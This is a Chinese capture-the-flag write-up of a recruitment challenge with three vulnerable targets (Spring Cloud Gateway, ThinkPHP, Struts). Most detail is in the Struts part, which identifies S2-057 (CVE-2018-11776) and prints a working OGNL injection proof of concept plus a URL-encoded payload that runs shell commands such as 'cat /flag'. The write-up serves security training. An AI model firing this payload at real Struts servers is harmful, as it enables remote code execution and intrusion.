御林招新题:档案馆的回响

记录wp

题干

  • 目标一:云端之门的低语 ( Spring Cloud Gateway 3.1.0)

    “天穹”微服务 API 网关:这是公司最新潮的 API 网关,所有数据的流量中枢,看起来坚不可摧。然而,根据情报,这个版本的网关在处理路由请求时,似乎留下了一道不易察觉的缝隙。

  • 目标二:思想者的诡计 (ThinkPHP 5.0.23)

    “敏捷开发” PHP 门户:这是用一款广受欢迎的 PHP 框架搭建的门户网站,以其高效和灵活著称。然而,在处理 HTTP 请求的某个环节,框架对“请求方法”的理解出现了偏差。

  • 目标三:远古框架的咆哮 ( Struts 2.3.34)

    “化石”级企业管理平台:这是一个老旧的 Java 企业级应用,虽然年迈,但依然在核心业务线上运行。它的开发者在配置某个核心组件时,遵循了当时流行的“通配符”设计哲学,却忽略了这份“灵活”背后潜藏的巨大风险。

解题过程

Spring Cloud Gateway 3.1.0

直接脚本过了

image-20251014133624235

ThinkPHP 5.0.23

也是脚本

image-20251014133714323

Struts 2.3.34

这个脚本不知道怎么用

于是尝试解题:

  1. 打开网站发现是空白的,扫描工具扫到 /upload.action,进入

image-20251014133909616

  1. 是 struts2,网上查询,发现 S2-057远程执行代码漏洞(CVE-2018-11776) 影响当前版本

参考 Struts2 S2-057远程执行代码漏洞(CVE-2018-11776)_apache struts 2 安全漏洞(cve-2018-11776)-CSDN博客

区别在于上面靶场的网址是 /showcase

  1. 漏洞判断

image-20251014182607127

  1. poc
1
2
${
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

注意:poc 放到网址上,需要 url 编码。后续又发现,“ls /”这一字符串中空格需要编码,但是斜杠不需要编码!..也不需要编码

  1. 最终 payload:
1
payload/upload.action/$%7B%0A%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27cat%20/flag%27%29%29.%28@org.apache.commons.io.IOUtils@toString%28%23a.getInputStream%28%29%29%29%7D/actionChain1.action
Licensed under Calendar